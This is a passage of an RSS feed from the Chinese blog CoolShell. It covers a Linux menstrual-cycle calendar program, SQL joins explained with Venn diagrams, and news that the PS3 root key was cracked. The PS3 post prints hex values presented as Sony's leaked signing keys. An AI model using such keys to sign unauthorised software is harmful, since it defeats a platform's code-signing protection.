target=\"_blank\">3D的LED显示的教程</a>，相当的详细，甚至教你如何上ebay采购相关的电子元件和设备，还有如何编程，有兴趣的朋友可以一读。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://daid.mine.nu/instructabliss/?url=http://www.instructables.com/id/Led-Cube-8x8x8/\"><img decoding=\"async\" loading=\"lazy\" src=\"http://www.instructables.com/image/FUXO1RWGICYBAOS/Led-Cube-8x8x8.jpg\" alt=\"Led Cube 8x8x8\" width=\"500\" height=\"375\" /></a></p>\n<p style=\"text-align: center;\">&nbsp;</p>\n<p style=\"text-align: left;\">这回就这么多，希望你喜欢。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3480.html\">一些有意思的网站和贴子</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3480.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>23</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux的cycle日历（你懂的）</title>\n\t\t<link>https://coolshell.cn/articles/3489.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3489.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 17 Jan 2011 00:42:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Cycle]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[Woman]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3489</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一个开源项目：http://cycle.sourceforge.net/，其是用python写的。在项目的主页上说，这是一个给妇女用的日历程序，叫cycle...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3489.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3489.html\">Linux的cycle日历（你懂的）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这是一个开源项目：<a href=\"http://cycle.sourceforge.net/\" target=\"_blank\">http://cycle.sourceforge.net/</a>，其是用python写的。在项目的主页上说，这是一个给妇女用的日历程序，叫cycle，周期，给妇女的，我不多说了，你懂的。下面是一些介绍（请大家注意学习相关的英文单词）</p>\n<p>当然，这个小程序不单单只是查看妇女的“周期”（menstruation），其还提供了以下的功能：</p>\n<ul>\n<li>第一次的周期 &#8211; 在日历上显示为粉色。menstruation周期长度由用户输入的六次周期取平均值确定。</li>\n<li>排卵期（Ovulation day）- 在日历上显示为亮绿色，</li>\n<li>受精期 （Fertile period）- 在日历上显示为绿色</li>\n<li>安全期（Safe Sex）</li>\n<li>预产期（Date of birth）</li>\n<li>还允许你记一些notes &#8211; 医生建议你服用一些荷尔蒙避孕药（hormonal contraceptive）</li>\n</ul>\n<p>下面是屏幕截图 ——</p>\n<p style=\"text-align: center;\"><a href=\"http://cycle.sourceforge.net/scr1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http://cycle.sourceforge.net/scr1_m.png\" border=\"0\" alt=\"Screenshoot\" width=\"250\" height=\"165\" /></a></p>\n<p style=\"text-align: left;\">注意以下的免责条款：</p>\n<ul>\n<li>本程序并不能成为一种避孕的方法。</li>\n<li>本程序也不能阻止各种性传染病，如：AIDS</li>\n<li>本程序更不能取代你的妇科医生。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3489.html\">Linux的cycle日历（你懂的）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3489.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>图解SQL的Join</title>\n\t\t<link>https://coolshell.cn/articles/3463.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3463.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 11 Jan 2011 00:44:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[Join]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[Venn diagrams]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3463</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>对于SQL的Join，在学习起来可能是比较乱的。我们知道，SQL的Join语法有很多inner的，有outer的，有left的，有时候，对于Select出来的结...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3463.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>对于SQL的Join，在学习起来可能是比较乱的。我们知道，<a href=\"http://en.wikipedia.org/wiki/Join_(SQL)\" target=\"_blank\">SQL的Join语法</a>有很多inner的，有outer的，有left的，有时候，对于Select出来的结果集是什么样子有点不是很清楚。Coding Horror上有<a href=\"http://www.codinghorror.com/blog/2007/10/a-visual-explanation-of-sql-joins.html\" target=\"_blank\">一篇文章</a>（实在不清楚为什么Coding Horror也被墙）通过 文氏图 <a href=\"http://en.wikipedia.org/wiki/Venn_diagram\" target=\"_blank\">Venn diagrams</a> 解释了SQL的Join。我觉得清楚易懂，转过来。</p>\n<p>假设我们有两张表。</p>\n<ul>\n<li><strong>Table A</strong> 是左边的表。</li>\n<li><strong>Table B</strong> 是右边的表。</li>\n</ul>\n<p>其各有四条记录，其中有两条记录是相同的，如下所示：</p>\n<pre>id name       id  name\n-- ----       --  ----\n1  <span style=\"color: red;\">Pirate</span>     1   Rutabaga\n2  Monkey     2   <span style=\"color: red;\">Pirate</span>\n3  <span style=\"color: red;\">Ninja</span>      3   Darth Vader\n4  Spaghetti  4   <span style=\"color: red;\">Ninja</span></pre>\n<p>下面让我们来看看不同的Join会产生什么样的结果。</p>\n<p><span id=\"more-3463\"></span></p>\n<table>\n<tbody>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>INNER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid  name       id   name\n--  ----       --   ----\n1   Pirate     2    Pirate\n3   Ninja      4    Ninja</pre>\n<p><strong>Inner join</strong><br />\n产生的结果集中，是A和B的交集。</td>\n<td><img decoding=\"async\" style=\"border: 0px initial initial;\" alt=\"Venn diagram of SQL inner join\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join.png\" border=\"0\" /></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>FULL OUTER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid    name       id    name\n--    ----       --    ----\n1     Pirate     2     Pirate\n2     Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n3     Ninja      4     Ninja\n4     Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       1     Rutabaga\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       3     Darth Vader</pre>\n<p><strong>Full outer join</strong> 产生A和B的并集。但是需要注意的是，对于没有匹配的记录，则会以null做为值。</td>\n<td><img decoding=\"async\" loading=\"lazy\" style=\"border: 0px initial initial;\" alt=\"Venn diagram of SQL cartesian join\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Full_Outer_Join.png\" width=\"300\" height=\"197\" border=\"0\" /></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\n<strong>LEFT OUTER JOIN</strong> TableB\nON TableA.name = TableB.name\n\nid  name       id    name\n--  ----       --    ----\n1   Pirate     2     Pirate\n2   Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n3   Ninja      4     Ninja\n4   Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span></pre>\n<p><strong>Left outer join</strong> 产生表A的完全集，而B表中匹配的则有值，没有匹配的则以null值取代。</td>\n<td><img decoding=\"async\" style=\"border: 0px initial initial;\" alt=\"Venn diagram of SQL left join\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Left_Outer_Join.png\" border=\"0\" /></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\nLEFT OUTER JOIN TableB\nON TableA.name = TableB.name\n<strong>WHERE TableB.id IS null</strong> \n\nid  name       id     name\n--  ----       --     ----\n2   Monkey     <span style=\"color: gray;\">null</span>   <span style=\"color: gray;\">null</span>\n4   Spaghetti  <span style=\"color: gray;\">null</span>   <span style=\"color: gray;\">null</span></pre>\n<p>产生在A表中有而在B表中没有的集合。</td>\n<td><img decoding=\"async\" style=\"border: 0px initial initial;\" alt=\"join-left-outer.png\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Left_Out_Join_2.png\" border=\"0\" /></td>\n</tr>\n<tr>\n<td>\n<pre>SELECT * FROM TableA\nFULL OUTER JOIN TableB\nON TableA.name = TableB.name\n<strong>WHERE TableA.id IS null\nOR TableB.id IS null\n</strong>\nid    name       id    name\n--    ----       --    ----\n2     Monkey     <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n4     Spaghetti  <span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       1     Rutabaga\n<span style=\"color: gray;\">null</span>  <span style=\"color: gray;\">null</span>       3     Darth Vader</pre>\n<p>产生A表和B表都没有出现的数据集。</td>\n<td><img decoding=\"async\" style=\"border: 0px initial initial;\" alt=\"join-outer.png\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/Full_Outer_Join_2.png\" border=\"0\" /></td>\n</tr>\n</tbody>\n</table>\n<p>还需要注册的是我们还有一个是“交差集” <strong>cross join</strong>, 这种Join没有办法用文式图表示，因为其就是把表A和表B的数据进行一个N*M的组合，即笛卡尔积。表达式如下：</p>\n<pre>SELECT * FROM TableA\n<strong>CROSS JOIN</strong> TableB</pre>\n<p>这个笛卡尔乘积会产生 4 x 4 = 16 条记录，一般来说，我们很少用到这个语法。但是我们得小心，如果不是使用嵌套的select语句，一般系统都会产生笛卡尔乘积然再做过滤。这是对于性能来说是非常危险的，尤其是表很大的时候。</p>\n<p><em><strong>更新:2014年3月30日</strong></em></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11371\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join.jpg\" width=\"600\" height=\"472\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/01/SQL-Join-300x236.jpg 300w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"6个有用的MySQL语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_title\">6个有用的MySQL语句</a></li><li ><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"Web程序的最佳测试数据\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1957.html\" class=\"wp_rp_title\">Web程序的最佳测试数据</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3463.html\">图解SQL的Join</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3463.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>184</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Sony PS3 Root Key 被破解</title>\n\t\t<link>https://coolshell.cn/articles/3453.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3453.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 10 Jan 2011 01:02:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[FreeBSD]]></category>\n\t\t<category><![CDATA[GeoHot]]></category>\n\t\t<category><![CDATA[PS3]]></category>\n\t\t<category><![CDATA[Sony]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3453</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>著名的黑客George &#8220;GeoHot&#8221; Hotz（其也帮助破解了iPhone）宣称破解了Sony P3的root key（也称fron...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3453.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3453.html\">Sony PS3 Root Key 被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>著名的黑客George &#8220;GeoHot&#8221; Hotz（其也帮助破解了iPhone）宣称破解了Sony P3的root key（也称front door key），并将这个key公布于 <a href=\"http://www.geohot.com/\" target=\"_blank\">http://www.geohot.com/</a> （墙）。不但发布了root key，还做了一个hello world。Youtube上也有一个相关的视频：<a href=\"http://www.youtube.com/watch?v=UkLSXsCKDkg\" target=\"_blank\">http://www.youtube.com/watch?v=UkLSXsCKDkg</a></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">erk: C0 CE FE 84 C2 27 F7 5B D0 7A 7E B8 46 50 9F 93 B2 38 E7 70 DA CB 9F F4 A3 88 F8 12 48 2B E2 1B\nriv: 47 EE 74 54 E4 77 4C C9 B8 96 0C 7B 59 F4 C1 4D\npub: C2 D4 AA F3 19 35 50 19 AF 99 D4 4E 2B 58 CA 29 25 2C 89 12 3D 11 D6 21 8F 40 B1 38 CA B2 9B 71 01 F3 AE B7 2A 97 50 19\n R: 80 6E 07 8F A1 52 97 90 CE 1A AE 02 BA DD 6F AA A6 AF 74 17\n n: E1 3A 7E BC 3A CC EB 1C B5 6C C8 60 FC AB DB 6A 04 8C 55 E1\n K: BA 90 55 91 68 61 B9 77 ED CB ED 92 00 50 92 F6 6C 7A 3D 8D\n Da: C5 B2 BF A1 A4 13 DD 16 F2 6D 31 C0 F2 ED 47 20 DC FB 06 70</pre>\n<p>之所以叫“front door key”，其是相对于“back door” 而言，传统的破解一般是通过软件的某个 bug或是后门来破解。而这次的PS3走的是前门，这就是说——这已经不是破解了，这是完全意义上的PS3正版了。</p>\n<p>为什么呢。这和PS3的开发有关。其很像Symbian 的Sign，也就是说，游戏开发商要想让他们的游戏在PS3上发布，其需要把游戏通过法律流程交给Sony，然后被Sign上一个key，就可以成为正式的发行版并可在所有用户的PS3上运行了。所以，这个key是PS3到今天没有盗版游戏的关键。不过随着这个key被找到，这意味着任何人都可以在PS3上发布软件了。</p>\n<p>最要命的是，这个Key和PS3的硬件绑定，也就是说，<strong>如果Sony要阻止这个事的话，无法通过升级firmware完成，必需更换硬件！！</strong></p>\n<p><strong><span id=\"more-3453\"></span><br />\n</strong></p>\n<p>目前，SONY正式对PS3的Root Key被公布导致可以进行自制系统开发的问题<a href=\"http://www.next-gen.biz/news/sony-responds-to-ps3-hacks\" target=\"_blank\">进行回应</a>。SONY表示目前正在进行相关调查，问题会通过网络更新进行解决，具体情况涉及信息安全问题不便透露。</p>\n<p>不过之前黑客集团表示除非Sony出新硬件否则无法修正这一情况，Sony应该会接受这一事实。</p>\n<p>而最新的<a href=\"http://www.ps3-hacks.com/2011/01/04/ps3-custom-firmware-creator-released-permanently-add-install-pkgs-to-the-xmb/\" target=\"_blank\">PS3 Custom Firmware Creator</a>应该是把PS3送上断头台了。而且已经证实，3.55的玩友可以安装3.55的CFW自制系统，安裝之后可以正常运行正版游戏，可以通过选项菜单中多出的pkg安裝功能，安裝u盘里通过电脑下载的游戏更新补丁或是游戏的试玩版。<strong>现在的PS3就像一个PC机，等待着各种不受Sony控制的软件的到来……</strong></p>\n<p>（另：Freebsd<a href=\"http://lists.freebsd.org/pipermail/freebsd-current/2011-January/022104.html\">宣布</a>支持索尼的游戏机PS3，支持的型号是索尼Playstation 3 Fat版，固件版本号&lt; 3.21 （最新的固件版本是<a href=\"http://us.playstation.com/support/systemupdates/ps3/index.htm\">3.55版</a>），必须能网络启动。不过，因为黑客已经破译了root key，并允许创作自制固件，因此未来Freebsd或能支持所有版本的PS3。）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1857.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" alt=\"C 语言整型谜题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1857.html\" class=\"wp_rp_title\">C 语言整型谜题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/2043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"PI小数点位数的新纪录\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2043.html\" class=\"wp_rp_title\">PI小数点位数的新纪录</a></li><li ><a href=\"https://coolshell.cn/articles/1432.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"编译vim解决中文支持\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1432.html\" class=\"wp_rp_title\">编译vim解决中文支持</a></li><li ><a href=\"https://coolshell.cn/articles/85.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/gldt92-150x150.png\" alt=\"Linux Distribution Timeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/85.html\" class=\"wp_rp_title\">Linux Distribution Timeline</a></li><li ><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"如此理解面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8745.html\" class=\"wp_rp_title\">如此理解面向对象编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3453.html\">Sony PS3 Root Key 被破解</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 